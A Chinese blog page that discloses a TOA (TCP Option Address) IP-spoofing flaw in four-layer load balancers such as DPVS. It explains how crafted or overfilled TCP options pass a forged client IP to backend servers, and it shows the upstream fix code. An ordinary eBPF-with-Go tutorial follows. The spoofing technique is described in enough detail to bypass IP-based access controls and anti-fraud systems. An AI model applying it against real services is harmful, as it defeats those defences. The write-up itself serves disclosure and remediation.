分类：所谓技术

详解：L4LB四层负载均衡IP伪造漏洞

详解：L4LB四层负载均衡IP伪造漏洞

前言去年11月，在国家信息安全漏洞共享平台CNVD、国家信息安全漏洞库CNNVD报告过TOA的IP伪造漏洞，到今天快过去1年了，各受影响方也基本修复完毕，今天聊一下细节吧。回顾当初演示时，使用了百度搜索里的IP查询接口。演示视频中，通过muou程序，参数中指定任意IP，即可使得当前电脑的出口IP为指定的任意IP。炒冷饭？有同学猜测这是HTTP的Header追加伪造？有同学说这是装神弄鬼，炒冷饭？有同学说自己早发现了公司内部不重视，不修复。那么，这漏洞到底是什么？？网上有聪明的同学，有一定IP伪造基本知识，结合我在推特上的历史内容，很快重现了演示视频里的IP伪造，即TOA(TCP Option Address)伪造IP，那么仅仅如此吗？漏洞描述：显然不是。不过，对了一点。大型IDC内部客户端IP如何透传？ L4LB四层负载均衡后业务需要使用用户原始IP，这是常见的功能需求。在大型IDC内部，一般会在RS节点上部署TOA（TCP Option Address）内核模块，用来获取TCP Option中的原始IP，也就是下图中TCP Segment部分。漏洞如何出现？开源的4层负载均衡，在FNAT模式下，未能很好的清除TCP Option中恶意构造的TOA信息，将恶意数据透传至RS服务器，导致业务服务器取到伪造IP。危害是什么？业务受损 IP在很多Web防火墙、反爬虫系统、防刷系统（薅羊毛）是用于做策略控制的基础强依赖，IP的伪造将导致这些系统完全失效，造成极大的风险损失。信息安全风险在很多后台系统中，IP同样被用于ACL的网络边界数据，IP的伪造，也依旧成成为可以突破的入口，比如对特定IP加白，直接放行等等。我是如何发现IP伪造漏洞的？这个漏洞原理确实如阿里的安全专家pyn3rd在多年前所写，直接在TCP Option里追加即可，网上聪明的同学也猜到了。不过，笔者并不是安全研究相关，平时从事的工作也是安全产品的研发，没有看过那篇PPT。发现这漏洞时，也是意外。在研发一款零信任四层负载均衡产品时，为了实现IP透传使用了相关技术。扩展一下，便想到了这里可能存在安全问题，顺便验证了各大厂的IP伪造可能性。国内友商情况国内大厂，不管是腾讯、华为、阿里、小米、阿里、百度等等，几乎都是使用了FNAT TOA的技术向后透传IP，很多技术方案都源于早期的开源项目LVS（Linux Virtual Server），各大厂按照各自的需求逐步迭代，有些机制上的安全问题，也被保留下来了。当然也有部分是IOA（IP Option Address），为了兼容UDP协议的IP透传。相似之处区别无非是opcode是28，是200还是254 还是 253，亦或是其他。也无非是opsize 是8 还是精简的7。也无非是读取TOA信息的时机，是1SYN还是3SYN-ACK ，亦或是为了兼容而都去读取。整体来看，大同小异。差异而最大的差异在于L4LB处理来自客户端TCP Option 既有信息。已有TOA信息清理还是不清理？相同opcode如何处理？ LB串联时，如何保留客户端（来自LB）的TOA信息？原包内容中的TCP Option长度已经满了，怎么办？而这些情况只是L4LB的难题，那么对于RS服务器上的TOA 内核模块又会有哪些问题呢？读到TOA 信息后，要继续读，还是终止读取了？继续读的话，又读到了TOA，那么选择哪个？都读完了，却没有读到TOA信息怎么办？带着这些问题，我们回头看下本次漏洞的各厂商表现。入门级漏洞演示视频中的漏洞，是百度引入的外部IP查询API，这个API后端L4LB也是使用了TOA技术向后透传IP，因为LB跟后面RS服务器配合问题，造成了客户端可伪造IP的问题。此漏洞的发生有以下几个条件 L4LB产品使用FNAT模式传递客户端IP L4LB未清除客户端TCP协议中Option信息，自己也追加了一个TOA，之后就直接向后传递服务器主机启用TOA模块获取IP，且解析Option时，读到了伪造的IP，没有读到L4LB追加的IP TOA加在前面还是后面？ L4LB 把TOA 放在TCP Option的最前面，还是最后面呢？这里就涉及到RS上的TOA内核模块读取机制了，这里也是很容易出漏洞的地方。当然，也不排除是L4LB读取到TCP Option中已经有了TOA信息，便不在追加。（这在L4LB串联的场景中，是十分常见的做法）。显然，这种实现方式，大概率是L4LB 这边问题很大，利用成本很低。进阶级漏洞国内大部分厂商都不存在这么简单的漏洞，那么意味着他们都没问题吗？然而并不是。 L4LB的难题：TCP Option 满了回到前面的问题，L4LB收到的客户端TCP Option 的长度已经超过最大长度40字节了，那么L4LB怎么处理？没有空间去追加客户端IP了，还要读取吗？不读很多L4LB丢弃本次真实客户端IP 的诉求，直接透传给下游了。问题就出现在这里，那么，只要客户端恶意填满TCP Option ，不留给L4LB追加的机会，即可伪造任意IP给下游。而这就是国内大厂出现这个安全漏洞的地方。注意，我这里用了下游，并没有说是RS，很多时候是L4LB串联，那么它的下游还是L4LB了。读取如果L4LB发现已经满了，无法追加了，那么他要继续读取，而且要要清理、删除，才能规避这类问题。 DPVS 的漏洞 LB侧（DPVS）： dpvs中，在src/ipvs/ip_vs_proto_tcp.c文件的tcp_in_add_toa函数中，387行附近，判断当前TCP包中TCP option是否有足够空间来追加TOA结构体。若不够，则直接返回，够则追加。在 TCP OPTION规范中，长度为40字节。在DPVS 的TOA定义长度为8字节（ipv6为20字节）。 RS侧（TOA）：内核模块TOA hook了获取IP的函数，来获取客户端IP，在toa.c里最终是调用get_toa_data来获取。以IPv4为例，其中378行开始，读取到TCP Option中数据，匹配TOA的特征后，即返回。IPv6也是类似问题，不再赘述。变态级思路读取TCP Option ，清空TOA信息，就高枕无忧了吗？然而并不是，那思路是什么？如果黑客构造了一个完全合规的TCP Option ，并且长度超过40字节，里面没有恶意的TOA IP，也不留给L4LB留下填充客户端IP的机会，那么，后端的RS 服务器，会拿到什么IP？还能造成安全风险吗？客户端拿到的是L4LB的内网IP，难道把这些内网IP拉入黑名单吗？你确定敢这么干？内网IP 再说了，内网IP一般会出现在你的各种风控策略、ACL策略中吗？思路这么多，那么到底该如何修复呢？ TOA 问题修复通过前面的原理讲解，聪明的你一定知道要如何修复这个安全漏洞了。也就是说整个TCP Option都要逐一字节读取、清理，防止有多个TOA的信息在里面。然而，L4LB这种产品，QPS都是十万、几十万的性能挑战，突然每个网络包都要多了这么多内存复制的动作，性能下降是最大的挑战，不过，这就是研发同学去考虑的问题了。 DPVS 修复方案我在像DPVS反馈这个BUG时，提了一个PR Remove toa field, fix security vulnerability. #925，将所有恶意TOA字段都使用TCP_OPT_NOP 设置为空。然而这样，面对TCP Option被填满的清空，是丢失了客户端原始IP的。虽然性能上影响不大，但依旧有一些安全风险。 DPVS的专家ywc689 给了一个更专业的、更安全的修复方案ipvs: toa enhancements #928，只允许了以下几个opcode的Option，以及对应长度的opsize，并且选择了特别好的重置时机，在应对几十万QPS的网络包处理时，几乎没有新增性能损耗问题。（了解相应opcode含义，请阅读TCP Option Kind Numbers） // ... const uint8_t opts_maxlen[64] = { [2] = 4, [3] = 3, [4] = 2, [8] = 10, [30] = 40, [34] = 18 }; // ... if (tcph->syn) opts_protected = (1ULL << 2) | (1ULL << 3) | (1ULL << 4) /* MSS, WS, SACKP */ | (1ULL << 8) | (1ULL << 30) | (1ULL << 34); /* TS, MPTCP, TFO */ else opts_protected = (1ULL << 8); /* TS, drop SACK, MPTCP DSS/REMOVE_ADDR */ while (fast < ptr) { opcode = *fast; opsize = *(fast + 1); if (opcode < 64 && ((1ULL << opcode) & opts_protected) && (opsize <= opts_maxlen[opcode])) { for (i = 0; i < opsize; i++) *slow++ = *fast++; opts_protected ^= (1ULL << opcode); } else { fast += opsize; pruned += opsize; if (pruned >= reqlen) { while (fast < ptr) *slow++ = *fast++; break; } } } 虽然，这里opcode 为30（Multipath TCP (MPTCP)）的Option存在，但也仅允许SYN包时出现，如果RS的TOA内核模块是读取ACK内的TOA，那么这里是不受影响的。但是，如果你的TOA内核模块读取的是首个SYN包的TOA，那么变态级思路的问题依旧在问题验证笔者实现了一个TCP Option自定义的工具，叫木偶(muou)，你可以通过sudo ./muou t -b 020405b4命令来实现自定义TCP Option，这里演示了一个修改Maximum segment size的Option，MSS值为：1460。按照你对这个漏洞的理解，假如这些漏洞都还存在，你需要实现一个通杀各大厂商的payload，那么该如何构造呢？笔者的技术方案是eBPF sockops 操作TCP Option，此工具有一定危害，这里做了一定限制，本次只开源了二进制程序，防止定制成为攻击工具。具体的技术方案，未来分享。国外的现状国外的L4LB产品资料相对比较少，现在的产品都是基于eBPF XDP做的，比如Isovalent公司的Cilium、Facebook公司的Katran、CloudFlare公司的Unimog等产品。相对来说，不需要使用TCP Option/IP Option等方案，直接在L4LB侧转发给相应的RS服务器。这里插一句，笔者没有吹捧eBPF，国外的现状确实如此，大多使用eBPF + XDP 实现的L4LB。关于L4LB 四层负载均衡更多关于，请阅读SRE技术专家laixintao的四层负载均衡漫谈系列文章。 IOA 安全吗？本文重点讨论了基于TCP Option传递的客户端IP信息方案，从L4LB负载均衡到RS的TOA内核模块，不管是代码实现，还是协同机制，都存在着细微的差异，而这些细节恰恰是安全问题所在。那么，基于IP Option的客户端IP透传方案国内哪些大厂在用？他们安全吗？

2024-08-17 0 0

eBPF在Golang中的应用介绍

eBPF在Golang中的应用介绍

大多数时候，我们在开发软件甚至使用软件时，都是在操作系统的安全范围内进行游戏。我们甚至不知道网络接口如何欢迎该 IP 数据包，也不知道当我们保存文件时文件系统如何处理这些 inode。该边界称为 user space ，它是我们编写应用程序、库和工具的地方。但还有另一个世界，那就是 kernel space 。它是操作系统内核所在的位置，负责管理系统资源，例如内存、CPU 和 I/O 设备。我们通常不需要低于套接字或文件描述符，但有时我们需要这样做。假设您想要分析一个应用程序以查看它消耗了多少资源。如果从用户空间分析应用程序，您不仅会错过太多有用的细节，而且还会消耗大量资源来分析本身，因为 CPU 或内存之上的每一层都会引入一些开销。需要更深入假设您想要深入堆栈并以某种方式将自定义代码插入内核中以分析应用程序，或跟踪系统调用，或监视网络数据包。你会怎么做？传统上你有两种选择。选项 1：编辑内核源代码如果您想要更改 Linux 内核源代码，然后将相同的内核发送到您客户的机器上，您需要说服 Linux 内核社区需要进行更改。然后，您将需要等待几年才能让新的内核版本被 Linux 发行版采用。对于大多数情况来说，这不是一个实用的方法，而且也有点不实用。仅用于分析应用程序或监视网络数据包。选项 2: 写一个内核模块你可以编写一个内核模块，它是一段可以加载到内核中并执行的代码。这是一种更实用的方法，但它也有其自身的风险和缺点。首先，你需要编写一个内核模块，这不是一件容易的事。然后，你需要定期维护它，因为内核是一个有生命的东西，它会随着时间的推移而变化。如果您不维护内核模块，它将过时并且无法与新的内核版本一起使用。其次，您面临着损坏 Linux 内核的风险，因为内核模块没有安全边界。如果您编写的内核模块有错误，则可能会导致整个系统崩溃。选择 eBPF eBPF（扩展伯克利数据包过滤器）是一项革命性技术，允许您在几分钟内重新编程 Linux 内核，甚至无需重新启动系统。 eBPF 允许您跟踪系统调用、用户空间函数、库函数、网络数据包等等。它是用于系统性能、监控、安全等方面的强大工具。如何使用 eBPF 是一个由多个组件组成的系统： eBPF programs eBPF hooks BPF maps eBPF 验证器 eBPF 虚拟机请注意，我交替使用了术语“BPF”和“eBPF”。 eBPF 代表“扩展伯克利数据包过滤器”。 BPF 最初被引入 Linux 来过滤网络数据包，但 eBPF 扩展了原始 BPF，使其可以用于其他目的。今天它与伯克利无关，而且它不仅仅用于过滤数据包。下面说明了 eBPF 如何在用户空间和底层工作。 eBPF 程序用高级语言（例如 C）编写，然后编译为 eBPF bytecode 。然后，eBPF 字节码被加载到内核中并由 eBPF virtual machine 执行。 eBPF 程序附加到内核中的特定代码路径，例如系统调用。这些代码路径称为 hooks 。当钩子被触发时，eBPF 程序就会被执行，现在它会执行您编写的自定义逻辑。这样我们就可以在内核空间中运行我们的自定义代码。 eBPF Hello World 在继续讨论细节之前，让我们编写一个简单的 eBPF 程序来跟踪 execve 系统调用。我们将用 C 编写程序，用 Go 编写用户空间程序，然后运行用户空间程序，将 eBPF 程序加载到内核中，并在实际的 < 之前轮询我们将从 eBPF 程序发出的自定义事件。 b1>系统调用被执行。编写 eBPF 程序我们先开始编写eBPF程序。我将逐部分编写以更好地解释细节，但您可以在我的 GitHub 存储库中找到整个程序： ozansz/intro-ebpf-with-go。 // hello_ebpf.c 1#include "vmlinux.h" #include <bpf/bpf_helpers.h> struct event { u32 pid; u8 comm[100]; }; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 1000); } events SEC(".maps"); 这里我们导入 vmlinux.h 头文件，它包含了内核的数据结构和函数原型。然后我们包含 bpf_helpers.h 头文件，其中包含 eBPF 程序的辅助函数。然后我们定义一个 struct 来保存事件数据，然后定义一个 BPF map 来存储事件。我们将使用此Map在将在内核空间中运行的 eBPF 程序与用户空间程序之间传递事件。稍后我们将详细介绍 BPF maps，因此，如果您不明白我们为什么使用 BPF_MAP_TYPE_RINGBUF 或 SEC(".maps") 的用途，请不要担心。我们现在准备编写第一个程序并定义它将附加到的钩子： // hello_ebpf.c SEC("kprobe/sys_execve") int hello_execve(struct pt_regs *ctx) { u64 id = bpf_get_current_pid_tgid(); pid_t pid = id >> 32; pid_t tid = (u32)id; if (pid != tid) return 0; struct event *e; e = bpf_ringbuf_reserve(&events, sizeof(struct event), 0); if (!e) { return 0; } e->pid = pid; bpf_get_current_comm(&e->comm, 100); bpf_ringbuf_submit(e, 0); return 0; } 这里我们定义了一个函数 hello_execve ，并使用 kprobe 钩子将其附加到 sys_execve 系统调用。 kprobe 是 eBPF 提供的众多钩子之一，用于跟踪内核函数。该钩子将在执行 sys_execve 系统调用之前触发我们的 hello_execve 函数。在 hello_execve 函数中，我们首先获取进程ID和线程ID，然后检查它们是否相同。如果它们不相同，则意味着我们在一个线程中，并且我们不想跟踪线程，因此我们通过返回零来退出 eBPF 程序。然后我们在 events Map中预留空间来存储事件数据，然后用进程ID和进程的命令名称填充事件数据。然后我们将事件提交到 events map。到目前为止这很简单，对吧？编写用户空间程序在开始编写用户空间程序之前，我先简单解释一下程序在用户空间需要做什么。我们需要一个用户空间程序将 eBPF 程序加载到内核中，创建 BPF Map，附加到 BPF Map，然后从 BPF Map中读取事件。为了执行这些操作，我们需要使用特定的系统调用。该系统调用称为 bpf() ，它用于执行一些与 eBPF 相关的操作，例如读取 BPF Map的内容。我们也可以从用户空间自己调用这个系统调用，但这意味着太多的低级操作。值得庆幸的是，有一些库为 bpf() 系统调用提供了高级接口。其中之一是 Cilium的 ebpf-go 包，我们将在本示例中使用它。让我们深入研究一些 Go 代码。 // main.go //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -type event ebpf hello_ebpf.c func main() { stopper := make(chan os.Signal, 1) signal.Notify(stopper, os.Interrupt, syscall.SIGTERM) // Allow the current process to lock memory for eBPF resources. if err := rlimit.RemoveMemlock(); err != nil { log.Fatal(err) } objs := ebpfObjects{} if err := loadEbpfObjects(&objs, nil); err != nil { log.Fatalf("loading objects: %v", err) } defer objs.Close() kp, err := link.Kprobe(kprobeFunc, objs.HelloExecve, nil) if err != nil { log.Fatalf("opening kprobe: %s", err) } defer kp.Close() rd, err := ringbuf.NewReader(objs.Events) if err != nil { log.Fatalf("opening ringbuf reader: %s", err) } defer rd.Close() // ... 第一行是 Go 编译器指令 go:generate。这里我们让 Go 编译器运行 github.com/cilium/ebpf/cmd/bpf2go 包中的 bpf2go 工具，并从 hello_ebpf.c 文件生成 Go 文件。生成的 Go 文件将包括 eBPF 程序的 Go 表示、我们在 eBPF 程序中定义的类型和结构体等。然后我们将在 Go 代码中使用这些表示将 eBPF 程序加载到内核中，并进行交互与 BPF map。然后我们使用生成的类型来加载eBPF程序（loadEbpfObjects），附加到kprobe钩子（link.Kprobe），并从BPFMap中读取事件（ringbuf.NewReader）。所有这些函数都使用了生成的类型。是时候与内核侧交互了： // main.go // ... go func() { <-stopper if err := rd.Close(); err != nil { log.Fatalf("closing ringbuf reader: %s", err) } }() log.Println("Waiting for events..") var event ebpfEvent for { record, err := rd.Read() if err != nil { if errors.Is(err, ringbuf.ErrClosed) { log.Println("Received signal, exiting..") return } log.Printf("reading from reader: %s", err) continue } if err := binary.Read(bytes.NewBuffer(record.RawSample), binary.LittleEndian, &event); err != nil { log.Printf("parsing ringbuf event: %s", err) continue } procName := unix.ByteSliceToString(event.Comm[:]) log.Printf("pid: %d\tcomm: %s\n", event.Pid, procName) } } 我们启动一个 goroutine 来监听 stopper 通道，该通道是我们在前面的 Go 代码片段中定义的。当我们收到中断信号时，该通道将用于优雅地停止程序。然后我们启动一个循环来从 BPF Map中读取事件。我们使用 ringbuf.Reader 类型来读取事件，然后使用 binary.Read 函数将事件数据解析为 ebpfEvent 类型，该类型由eBPF 程序。然后我们将进程 ID 和进程的命令名称打印到标准输出。运行程序现在我们已经准备好运行该程序了。首先，我们需要编译eBPF程序，然后运行用户空间程序。 $ go generate Compiled /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x01-helloworld/ebpf_bpfel.o Stripped /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x01-helloworld/ebpf_bpfel.o Wrote /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x01-helloworld/ebpf_bpfel.go Compiled /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x01-helloworld/ebpf_bpfeb.o Stripped /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x01-helloworld/ebpf_bpfeb.o Wrote /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x01-helloworld/ebpf_bpfeb.go $ go build -o hello_ebpf 我们首先运行 go generate 命令编译eBPF程序，然后运行 go build 命令编译用户空间程序。然后我们运行用户空间程序： sudo ./hello_ebpf hello_ebpf: 01:20:54 Waiting for events.. 我在Lima的虚拟机内运行这个程序，为什么不打开另一个 shell 看看会发生什么？ limactl shell intro-ebpf $ 同时在第一个 shell 中： hello_ebpf: 01:22:22 pid: 3360 comm: sshd hello_ebpf: 01:22:22 pid: 3360 comm: bash hello_ebpf: 01:22:22 pid: 3361 comm: bash hello_ebpf: 01:22:22 pid: 3362 comm: bash hello_ebpf: 01:22:22 pid: 3363 comm: bash hello_ebpf: 01:22:22 pid: 3366 comm: bash hello_ebpf: 01:22:22 pid: 3367 comm: lesspipe hello_ebpf: 01:22:22 pid: 3369 comm: lesspipe hello_ebpf: 01:22:22 pid: 3370 comm: bash 正如预期的那样，我们看到 sshd 进程正在启动，然后 bash 进程正在启动，然后 lesspipe 进程正在启动，依此类推。这是一个简单的示例，说明我们如何使用 eBPF 跟踪 execve 系统调用，然后从用户空间的 BPF Map中读取事件。我们编写了一个相当简单但功能强大的程序，并且在不修改内核源代码或重新启动系统的情况下拦截了 execve 系统调用。 eBPF Hooks 和 Maps 那么，前面的示例中实际发生了什么？我们使用 kprobe 挂钩将 eBPF 程序附加到 sys_execve 系统调用，以便在 sys_execve 系统调用时运行 hello_execve 函数在执行原始系统调用代码之前调用。 eBPF 是事件驱动的，这意味着它希望我们将 eBPF 程序附加到内核中的特定代码路径。这些代码路径称为“钩子”，eBPF 提供了多种类型的钩子。最常见的是： kprobe, kretprobe: 跟踪内核函数 uprobe, uretprobe: 跟踪用户空间函数 tracepoint: 跟踪内核中预定义的跟踪点 xdp: eXpress Data Path, 用于过滤和重定向网络数据包 usdt: 用户静态定义的跟踪，用于以更有效的方式跟踪用户空间函数钩子 kprobe 和 uprobe 用于在函数/系统调用执行之前调用附加的 eBPF 程序，并使用 kretprobe 和 uretprobe 在函数/系统调用执行之后调用附加的 eBPF 程序。我们还使用 BPF Map来存储事件。 BPF Map是用于存储和通信不同类型数据的数据结构。我们还将它们用于状态管理。支持的 BPF Map类型太多，我们根据不同的目的使用不同类型的Map。一些最常见的 BPF Map类型是： BPF_MAP_TYPE_HASH: 哈希表 BPF_MAP_TYPE_ARRAY: 数组 BPF_MAP_TYPE_RINGBUF: ring buffer BPF_MAP_TYPE_STACK: 栈 BPF_MAP_TYPE_QUEUE: 队列 BPF_MAP_TYPE_LRU_HASH: LRU hash map 其中一些Map类型还具有每个 CPU 的变体，例如 BPF_MAP_TYPE_PERCPU_HASH ，它是一个哈希Map，每个 CPU 核心都有一个单独的哈希表。更进一步: 跟踪传入的 IP 数据包让我们更进一步，编写一个更复杂的 eBPF 程序。这次，我们将在网络接口向内核发送网络数据包之后，甚至在内核处理该数据包之前，使用 XDP 钩子调用 eBPF 程序。编写 eBPF 程序我们将编写一个 eBPF 程序，根据源 IP 地址和端口号来计算传入 IP 数据包的数量，然后从用户空间中的 BPF Map中读取计数。我们将解析每个数据包的以太网、IP 和 TCP/UDP 标头，并将有效 TCP/UDP 数据包的计数存储在 BPF Map中。一、eBPF程序： // hello_ebpf.c #include "vmlinux.h" #include <bpf/bpf_helpers.h> #include <bpf/bpf_endian.h> #define MAX_MAP_ENTRIES 100 /* Define an LRU hash map for storing packet count by source IP and port */ struct { __uint(type, BPF_MAP_TYPE_LRU_HASH); __uint(max_entries, MAX_MAP_ENTRIES); __type(key, u64); // source IPv4 addresses and port tuple __type(value, u32); // packet count } xdp_stats_map SEC(".maps"); 与第一个示例一样，我们将包含 vmlinux.h 和 BPF 辅助标头。我们还定义了一个Map xdp_stats_map 来存储 IP:ports 和数据包计数信息。然后，我们将在钩子函数内填充此Map并读取用户空间程序中的内容。我所说的 IP:ports 基本上是一个 u64 值，包含源 IP、源端口和目标端口。 IP 地址（特别是 IPv4）是 32 位长，每个端口号是 16 位长，因此我们需要 64 位来存储所有三个 - 这就是我们在这里使用 u64 的原因。我们在这里只处理入口（传入数据包），因此不需要存储目标 IP 地址。与上一个示例不同，我们现在使用 BPF_MAP_TYPE_LRU_HASH 作为map类型。这种类型的Map允许我们将 (key, value) 对存储为具有 LRU 变体的哈希Map。看看我们如何在这里定义Map，我们显式设置了最大条目数以及Map键和值的类型。对于键，我们使用 64 位无符号整数，对于值，我们使用 32 位无符号整数。 u32 的最大值是 2^32 - 1 ，对于本示例而言，这已经足够了。要了解 IP 地址和端口号，我们首先需要解析数据包并读取以太网、IP 和 TCP/UDP 标头。由于 XDP 放置在网络接口卡之后，我们将获得以字节为单位的原始数据包数据，因此我们需要手动遍历字节数组并解组以太网、IP 和 TCP/UDP 标头。希望我们在（ vmlinux.h 、 struct iphdr 、 struct tcphdr 和 struct udphdr ） > 头文件。我们将使用这些结构在单独的函数 parse_ip_packet 中提取 IP 地址和端口号信息： // hello_ebpf.c #define ETH_P_IP 0x0800 /* Internet Protocol packet */ #define PARSE_SKIP 0 #define PARSED_TCP_PACKET 1 #define PARSED_UDP_PACKET 2 static __always_inline int parse_ip_packet(struct xdp_md *ctx, u64 *ip_metadata) { void *data_end = (void *)(long)ctx->data_end; void *data = (void *)(long)ctx->data; // First, parse the ethernet header. struct ethhdr *eth = data; if ((void *)(eth + 1) > data_end) { return PARSE_SKIP; } if (eth->h_proto != bpf_htons(ETH_P_IP)) { // The protocol is not IPv4, so we can't parse an IPv4 source address. return PARSE_SKIP; } // Then parse the IP header. struct iphdr *ip = (void *)(eth + 1); if ((void *)(ip + 1) > data_end) { return PARSE_SKIP; } u16 src_port, dest_port; int retval; if (ip->protocol == IPPROTO_TCP) { struct tcphdr *tcp = (void*)ip + sizeof(*ip); if ((void*)(tcp+1) > data_end) { return PARSE_SKIP; } src_port = bpf_ntohs(tcp->source); dest_port = bpf_ntohs(tcp->dest); retval = PARSED_TCP_PACKET; } else if (ip->protocol == IPPROTO_UDP) { struct udphdr *udp = (void*)ip + sizeof(*ip); if ((void*)(udp+1) > data_end) { return PARSE_SKIP; } src_port = bpf_ntohs(udp->source); dest_port = bpf_ntohs(udp->dest); retval = PARSED_UDP_PACKET; } else { // The protocol is not TCP or UDP, so we can't parse a source port. return PARSE_SKIP; } // Return the (source IP, destination IP) tuple in network byte order. // |<-- Source IP: 32 bits -->|<-- Source Port: 16 bits --><-- Dest Port: 16 bits -->| *ip_metadata = ((u64)(ip->saddr) << 32) | ((u64)src_port << 16) | (u64)dest_port; return retval; } 函数：: 检查数据包是否具有有效的以太网标头、IP 标头以及 TCP 或 UDP 标头。这些检查是通过使用 struct ethhdr 的 h_proto 和 struct iphdr 的 protocol 完成的。每个标头都存储它所包装的内部数据包的协议。从 IP 标头中提取 IP 地址，从 TCP/UDP 标头中提取端口号，并在 64 位无符号整数 ( u64 ) 内形成 IP:ports 元组返回一个代码来告诉调用者该数据包是 TCP 数据包、UDP 数据包还是其他 ( PARSE_SKIP ) 请注意函数签名开头的 __always_inline 。这告诉编译器始终将此函数内联为静态代码，这使我们免于执行函数调用。现在是时候编写钩子函数并使用 parse_ip_packet ： // hello_ebpf.c SEC("xdp") int xdp_prog_func(struct xdp_md *ctx) { u64 ip_meta; int retval = parse_ip_packet(ctx, &ip_meta); if (retval != PARSED_TCP_PACKET) { return XDP_PASS; } u32 *pkt_count = bpf_map_lookup_elem(&xdp_stats_map, &ip_meta); if (!pkt_count) { // No entry in the map for this IP tuple yet, so set the initial value to 1. u32 init_pkt_count = 1; bpf_map_update_elem(&xdp_stats_map, &ip_meta, &init_pkt_count, BPF_ANY); } else { // Entry already exists for this IP tuple, // so increment it atomically. __sync_fetch_and_add(pkt_count, 1); } return XDP_PASS; } The xdp_prog_func is fairly simple as we already coded most of the program logic inside parse_ip_packet. What we do here is: xdp_prog_func 相当简单，因为我们已经在 parse_ip_packet 内编写了大部分程序逻辑。我们在这里所做的是：使用 parse_ip_packet 解析数据包如果不是 TCP 或 UDP 数据包，则返回 XDP_PASS 跳过计数使用 bpf_map_lookup_elem 辅助函数在 BPF Map键中查找 IP:ports 元组如果第一次看到 IP:ports 元组，则将该值设置为 1，否则将其增加 1。 __sync_fetch_and_add 是这里内置的 LLVM 最后，我们使用 SEC("xdp") 宏将此函数附加到 XDP 子系统。编写用户空间程序是时候再次深入研究 Go 代码了。 // main.go //go:generate go run github.com/cilium/ebpf/cmd/bpf2go ebpf xdp.c var ( ifaceName = flag.String("iface", "", "network interface to attach XDP program to") ) func main() { log.SetPrefix("packet_count: ") log.SetFlags(log.Ltime | log.Lshortfile) flag.Parse() // Subscribe to signals for terminating the program. stop := make(chan os.Signal, 1) signal.Notify(stop, os.Interrupt, syscall.SIGTERM) iface, err := net.InterfaceByName(*ifaceName) if err != nil { log.Fatalf("network iface lookup for %q: %s", *ifaceName, err) } // Load pre-compiled programs and maps into the kernel. objs := ebpfObjects{} if err := loadEbpfObjects(&objs, nil); err != nil { log.Fatalf("loading objects: %v", err) } defer objs.Close() // Attach the program. l, err := link.AttachXDP(link.XDPOptions{ Program: objs.XdpProgFunc, Interface: iface.Index, }) if err != nil { log.Fatalf("could not attach XDP program: %s", err) } defer l.Close() log.Printf("Attached XDP program to iface %q (index %d)", iface.Name, iface.Index) 这里我们首先加载生成的 eBPF 程序并使用 loadEbpfObjects 函数进行Map。然后我们使用 link.AttachXDP 函数将程序附加到指定的网络接口。与前面的示例类似，我们使用通道来监听中断信号并优雅地关闭程序。接下来，我们将每秒读取map内容并将数据包计数打印到标准输出： // main.go // ... ticker := time.NewTicker(time.Second) defer ticker.Stop() for { select { case <-stop: if err := objs.XdpStatsMap.Close(); err != nil { log.Fatalf("closing map reader: %s", err) } return case <-ticker.C: m, err := parsePacketCounts(objs.XdpStatsMap, excludeIPs) if err != nil { log.Printf("Error reading map: %s", err) continue } log.Printf("Map contents:\n%s", m) srv.Submit(m) } } } 我们将使用实用函数 parsePacketCounts 来读取map内容并解析数据包计数。该函数将循环读取map内容。由于我们将从Map中获得原始字节，因此我们需要解析这些字节并将其转换为人类可读的格式。我们将定义一个新类型 PacketCounts 来存储解析后的map内容。 // main.go type IPMetadata struct { SrcIP netip.Addr SrcPort uint16 DstPort uint16 } func (t *IPMetadata) UnmarshalBinary(data []byte) (err error) { if len(data) != 8 { return fmt.Errorf("invalid data length: %d", len(data)) } if err = t.SrcIP.UnmarshalBinary(data[4:8]); err != nil { return } t.SrcPort = uint16(data[3])<<8 | uint16(data[2]) t.DstPort = uint16(data[1])<<8 | uint16(data[0]) return nil } func (t IPMetadata) String() string { return fmt.Sprintf("%s:%d => :%d", t.SrcIP, t.SrcPort, t.DstPort) } type PacketCounts map[string]int func (i PacketCounts) String() string { var keys []string for k := range i { keys = append(keys, k) } sort.Strings(keys) var sb strings.Builder for _, k := range keys { sb.WriteString(fmt.Sprintf("%s\t| %d\n", k, i[k])) } return sb.String() } 我们定义了一个新类型 IPMetadata 来存储 IP:ports 元组。我们还定义了一个 UnmarshalBinary 方法来解析原始字节并将其转换为人类可读的格式。我们还定义了一个 String 方法来以人类可读的格式打印 IP:ports 元组。然后我们定义了一个新类型 PacketCounts 来存储解析后的map内容。我们还定义了一个 String 方法来以人类可读的格式打印map内容。最后，我们将使用 PacketCounts 类型来解析map内容并打印数据包计数： // main.go func parsePacketCounts(m *ebpf.Map, excludeIPs map[string]bool) (PacketCounts, error) { var ( key IPMetadata val uint32 counts = make(PacketCounts) ) iter := m.Iterate() for iter.Next(&key, &val) { if _, ok := excludeIPs[key.SrcIP.String()]; ok { continue } counts[key.String()] = int(val) } return counts, iter.Err() } 运行程序我们首先需要编译eBPF程序，然后运行用户空间程序。 $ go generate Compiled /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x03-packet-count/ebpf_bpfel.o Stripped /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x03-packet-count/ebpf_bpfel.o Wrote /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x03-packet-count/ebpf_bpfel.go Compiled /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x03-packet-count/ebpf_bpfeb.o Stripped /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x03-packet-count/ebpf_bpfeb.o Wrote /Users/sazak/workspace/gocode/src/github.com/ozansz/intro-ebpf-with-go/0x03-packet-count/ebpf_bpfeb.go $ go build -o packet_count 现在我们可以运行它： $ sudo ./packet_count --iface eth0 packet_count: 22:11:10 main.go:107: Attached XDP program to iface "eth0" (index 2) packet_count: 22:11:10 main.go:132: Map contents: 192.168.5.2:58597 => :22 | 51 